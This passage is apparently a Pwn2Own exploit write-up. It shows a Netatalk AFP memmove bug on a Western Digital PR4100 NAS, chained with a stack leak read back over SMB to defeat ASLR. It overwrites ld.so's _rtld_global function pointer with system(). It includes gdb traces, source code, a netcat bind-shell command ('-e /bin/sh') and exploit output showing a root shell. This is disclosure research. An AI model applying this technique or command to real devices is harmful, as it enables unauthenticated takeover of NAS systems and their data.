      0x7f6c581bc000     0x7f6c581bd000     0x1000     0x2000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581bd000     0x7f6c581be000     0x1000     0x3000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581be000     0x7f6c581bf000     0x1000        0x0 /lib/ld-2.28.so
      0x7f6c581bf000     0x7f6c581dd000    0x1e000     0x1000 /lib/ld-2.28.so
      0x7f6c581dd000     0x7f6c581e5000     0x8000    0x1f000 /lib/ld-2.28.so
      0x7f6c581e5000     0x7f6c581e6000     0x1000    0x26000 /lib/ld-2.28.so
      0x7f6c581e6000     0x7f6c581e7000     0x1000    0x27000 /lib/ld-2.28.so
      0x7f6c581e7000     0x7f6c581e8000     0x1000        0x0 
      0x7ffe86f2b000     0x7ffe86f71000    0x46000        0x0 [stack]
      0x7ffe86fb7000     0x7ffe86fba000     0x3000        0x0 [vvar]
      0x7ffe86fba000     0x7ffe86fbc000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

This means we could use the memmove() to overwrite some data in one of the mentioned libraries. But what library to target?

While debugging, we noticed that when a crash occurs, if we continue execution, a special exception handler in Netatalk catches the exception to handle it.

More specifically, we overwrote the whole ld-2.28.so .data section and ended up with the following crash:

(remote-gdb) bt
#0  0x00007f423de3eb50 in _dl_open (file=0x7f423dbf0e86 "libgcc_s.so.1", mode=-2147483646, caller_dlopen=0x7f423db771c5 <init+21>, nsid=-2, argc=4, argv=0x7fffa4967cf8, env=0x7fffa4967d20) at dl-open.c:548
#1  0x00007f423dba406d in do_dlopen (Reading in symbols for dl-error.c...done.
ptr=ptr@entry=0x7fffa4966170) at dl-libc.c:96
#2  0x00007f423dba4b2f in __GI__dl_catch_exception (exception=exception@entry=0x7fffa49660f0, operate=operate@entry=0x7f423dba4030 <do_dlopen>, args=args@entry=0x7fffa4966170) at dl-error-skeleton.c:196
#3  0x00007f423dba4bbf in __GI__dl_catch_error (objname=objname@entry=0x7fffa4966148, errstring=errstring@entry=0x7fffa4966150, mallocedp=mallocedp@entry=0x7fffa4966147, operate=operate@entry=0x7f423dba4030 <do_dlopen>, args=args@entry=0x7fffa4966170) at dl-error-skeleton.c:215
#4  0x00007f423dba4147 in dlerror_run (operate=operate@entry=0x7f423dba4030 <do_dlopen>, args=args@entry=0x7fffa4966170) at dl-libc.c:46
#5  0x00007f423dba41d6 in __GI___libc_dlopen_mode (name=name@entry=0x7f423dbf0e86 "libgcc_s.so.1", mode=mode@entry=-2147483646) at dl-libc.c:195
#6  0x00007f423db771c5 in init () at backtrace.c:53
Reading in symbols for pthread_once.c...done.
#7  0x00007f423dc40997 in __pthread_once_slow (once_control=0x7f423dc2ef80 <once>, init_routine=0x7f423db771b0 <init>) at pthread_once.c:116
#8  0x00007f423db77304 in __GI___backtrace (array=<optimised out>, size=<optimised out>) at backtrace.c:106
#9  0x00007f423ddcd6db in netatalk_panic () from symbols/lib64/libatalk.so.18
#10 0x00007f423ddcd902 in ?? () from symbols/lib64/libatalk.so.18
#11 0x00007f423ddcd958 in ?? () from symbols/lib64/libatalk.so.18
Reading in symbols for ../sysdeps/unix/sysv/linux/x86_64/sigaction.c...done.
#12 <signal handler called>
#13 __memmove_sse2_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238
#14 0x00007f423dda6fd0 in ad_rebuild_adouble_header_osx () from symbols/lib64/libatalk.so.18
#15 0x00007f423ddaa985 in ?? () from symbols/lib64/libatalk.so.18
#16 0x00007f423ddaaf34 in ?? () from symbols/lib64/libatalk.so.18
#17 0x00007f423ddad7b0 in ?? () from symbols/lib64/libatalk.so.18
#18 0x00007f423ddad9e1 in ?? () from symbols/lib64/libatalk.so.18
#19 0x00007f423ddae56c in ad_open () from symbols/lib64/libatalk.so.18
#20 0x000055cd275c1ea7 in afp_openfork ()
#21 0x000055cd275a386e in afp_over_dsi ()
#22 0x000055cd275c6ba3 in ?? ()
#23 0x000055cd275c68fd in main ()

We can see that it crashes on a call instruction where we control both the first argument and the argument.

(remote-gdb) x /i $pc
=> 0x7f423de3eb50 <_dl_open+48>:	call   QWORD PTR [rip+0x16412]        # 0x7f423de54f68 <_rtld_global+3848>
(remote-gdb) x /gx 0x7f423de54f68
0x7f423de54f68 <_rtld_global+3848>:	0x4242424242424242
(remote-gdb) x /s $rdi
0x7f423de54968 <_rtld_global+2312>:	'A' <repeats 35 times>

Checking ld-2.28.so in IDA, we see that it is due to dl_open() calling the _dl_rtld_lock_recursive function pointer and passing a pointer to the _dl_load_lock lock.

void *__fastcall dl_open(
        const char *file,
        int mode,
        const void *caller_dlopen,
        Lmid_t nsid,
        int argc,
        char **argv,
        char **env)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( (mode & 3) == 0 )
    _dl_signal_error(0x16, file, 0LL, "invalid mode for dlopen()");
  rtld_local._dl_rtld_lock_recursive(&rtld_local._dl_load_lock);

Both the function pointer and the lock argument are part of the _rtld_local global which resides in the .data section.

.data:0000000000028060 ; rtld_global rtld_local
.data:0000000000028060 _rtld_local     dq 0  

This makes it a quite generic method to call an arbitrary function with one argument when we are able to overwrite the ld.so .data section.

NOTE: there was a similar technique (though a bit different) detailed in here.

Our goal is to execute an arbitrary command by overwriting the lock to contain a shell command to execute and overwriting the function pointer with the system() address.

Luckily, we know already that we have controlled data passed to the system() function, so we don’t need to know where it is in memory. However, due to ASLR, we have no idea where the system() function is. So we need some kind of leak primitive to bypass ASLR.

Building a leak primitive

If we look again at the previous backtrace, we see it actually crashed in ad_rebuild_adouble_header_osx(). More specifically we see that the following happens in ad_convert_osx():

  • The original AppleDouble file is mapped in memory with mmap()
  • The previously discussed memmove() is called to discard the FinderInfo part
  • ad_rebuild_adouble_header_osx() is called
  • The mapped file is unmapped with munmap()
//netatalk-3.1.12/libatalk/adouble/ad_open.c
/**
 * Convert from Apple's ._ file to Netatalk
 *
 * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes
 * containing packed xattrs. Netatalk can't deal with that, so we
 * simply discard the packed xattrs.
 *
 * As we call ad_open() which might result in a recursion, just to be sure
 * use static variable in_conversion to check for that.
 *
 * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise
 **/
static int ad_convert_osx(const char *path, struct adouble *ad)
{
    EC_INIT;
    static bool in_conversion = false;
    char *map;
    int finderlen = ad_getentrylen(ad, ADEID_FINDERI);
    ssize_t origlen;

    if (in_conversion || finderlen == ADEDLEN_FINDERI)
        return 0;
    in_conversion = true;

    LOG(log_debug, logtype_ad, "Converting OS X AppleDouble %s, FinderInfo length: %d",
        fullpathname(path), finderlen);

    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);

    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
    if (map == MAP_FAILED) {
        LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno));
        EC_FAIL;
    }

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));

    ad_setentrylen(ad, ADEID_FINDERI, ADEDLEN_FINDERI);
    ad->ad_rlen = ad_getentrylen(ad, ADEID_RFORK);
    ad_setentryoff(ad, ADEID_RFORK, ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI);

    EC_ZERO_LOG( ftruncate(ad_reso_fileno(ad),
                           ad_getentryoff(ad, ADEID_RFORK)
                           + ad_getentrylen(ad, ADEID_RFORK)) );

    (void)ad_rebuild_adouble_header_osx(ad, map);
    munmap(map, origlen);

The ad_rebuild_adouble_header_osx() function is shown below. This function is responsible for writing back the content of the adouble structure into the mapped file region in the AppleDouble format so it is saved into the file on disk.

//netatalk-3.1.12/libatalk/adouble/ad_flush.c
/*!
 * Prepare adbuf buffer from struct adouble for writing on disk
 */
int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf)
{
    uint32_t       temp;
    uint16_t       nent;
    char           *buf;

    LOG(log_debug, logtype_ad, "ad_rebuild_adouble_header_osx");

    buf = &adbuf[0];

    temp = htonl( ad->ad_magic );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl( ad->ad_version );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    memcpy(buf, AD_FILLER_NETATALK, strlen(AD_FILLER_NETATALK));
    buf += sizeof( ad->ad_filler );

    nent = htons(ADEID_NUM_OSX);
    memcpy(buf, &nent, sizeof( nent ));
    buf += sizeof( nent );

    /* FinderInfo */
    temp = htonl(EID_DISK(ADEID_FINDERI));
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDOFF_FINDERI_OSX);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDLEN_FINDERI);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);

    /* rfork */
    temp = htonl( EID_DISK(ADEID_RFORK) );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDOFF_RFORK_OSX);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl( ad->ad_rlen);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    return AD_DATASZ_OSX;
}

But if we look at the memcpy() argument in the debugger, we notice that the source argument is actually referenced from the stack and out of bound:

memcpy(0x7f423de20032, 0x7fffa499bbba, 32)
(gdb) info proc mappings 
...
          Start Addr           End Addr       Size     Offset objfile
      0x7fffa4923000     0x7fffa4969000    0x46000        0x0 [stack]
      0x7fffa49f9000     0x7fffa49fc000     0x3000        0x0 [vvar]
      0x7fffa49fc000     0x7fffa49fe000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

If you look at the ad_header_read_osx() code previously mentioned, you’ll notice it is confirmed since there is a struct adouble adosx; local variable (hence stored on the stack) that is passed all the way to ad_rebuild_adouble_header_osx().

So what does it mean? Well, the memcpy() writes 32 bytes from a stack controlled offset into the memory mapped file region. This means we can make it write arbitrary memory back into the file on disk. Then we can read the fork file (stored in the AppleDouble file format) using SMB and we can leak that content back to us.

That’s nice, but is there any libc.so address stored on the stack since we want to call system() which resides in libc.so?

It turns out there is one such address since main() is called from __libc_start_main():

.text:0000000000023FB0 __libc_start_main proc near 
...
.text:0000000000024099                 call    rax             ; main()
.text:000000000002409B
.text:000000000002409B loc_2409B:                              ; CODE XREF: __libc_start_main+15A↓j
.text:000000000002409B                 mov     edi, eax
.text:000000000002409D                 call    __GI_exit

Wrapping up

By default on the Western Digital PR4100, we can read and write files both in AFP and SMB without requiring authentication, as long as we do it on the Public share.

We also know that an afpd child process is forked from the afpd parent process to handle every client connection. This means that every child process has the same randomisation for all already loaded libraries.

To trigger the vulnerability, we need that a mooncake regular file exists, as well as a careful crafted associated ._mooncake fork file in the same directory. Then we can call the "FPOpenFork" command over AFP on the mooncake file and it parses the ._mooncake fork file (stored in the AppleDouble file format). It ends up calling the ad_convert_osx() function which is responsible for converting the Apple’s AppleDouble file to a simplified version implemented in Netatalk.

So we first start by creating the mooncake file. We do it using AFP but we think we could have done it using SMB too. Then we want to trigger the vulnerability twice.

The first time, we craft the ._mooncake fork file to abuse the memcpy() in ad_rebuild_adouble_header_osx(). When triggering the vulnerability:

  • The ._mooncake original fork file is mapped in memory with mmap()
  • The memcpy() function writes the return address in __libc_start_main() into the mapped region
  • The munmap() function is called and that data is saved into the ._mooncake fork file on disk.
  • We can leak that data back to us by reading the ._mooncake fork file over SMB (as if it was a regular file)

This allows deducing the libc.so base address and computing the system() address.

The second time, we craft the ._mooncake fork file to abuse the memmove() in ad_convert_osx(). When triggering the vulnerability:

  • The ._mooncake original fork file is mapped in memory with mmap()
  • The memmove() function overwrites the ld.so .data section to corrupt the rtld_local._dl_rtld_lock_recursive function pointer with the system() address and the rtld_local._dl_load_lock data with the shell command to execute
  • The memcpy() function crashes due to an invalid access to an unmapped stack address
  • The exception handler registered in Netatalk calls into dl_open() which makes it call system() on our arbitrary shell command

We chose to preliminary drop a statically compiled netcat using SMB and execute it from the following path: /mnt/HD/HD_a2/Public/tools/netcat -nvlp 9999 -e /bin/sh.

Below is the exploit in action:

# ./mooncake.py -i 192.168.1.3
(12:26:23) [*] Triggering leak...
(12:26:27) [*] Connected to AFP server
(12:26:27) [*] Leaked libc return address: 0x7f45e23f809b
(12:26:27) [*] libc base: 0x7f45e23d4000
(12:26:27) [*] Triggering system() call...
(12:26:27) [*] Using system address: 0x7f45e24189c0
(12:26:27) [*] Connected to AFP server
(12:26:29) [*] Connection timeout detected :)
(12:26:30) [*] Spawning a shell. Type any command.
uname -a
Linux MyCloudPR4100 4.14.22 #1 SMP Mon Dec 21 02:16:13 UTC 2020 Build-32 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) euid=501(nobody) egid=1000(share) groups=1000(share)
pwd
/mnt/HD/HD_a2/Public/edg

Pwn2Own Note

Whilst using the exploit within the competition, the exploit failed on the first attempt during the leak phase. We guessed that this may have been a timing issue with the environment compared to our test environment. Therefore we modified the code to introduce a ‘sleep()’ before leaking to ensure that samba would return the data modified by vulnerable AFP code. Our second attempt got the leak working but failed when trying to connect over telnet, so we added another ‘sleep()’ before connecting over telnet to ensure that the ‘system()’ command was executed correctly. Luckily this worked and this shows that just adding more sleeps is enough to fix unreliable exploits and we were successful on our third and final attempt 🙂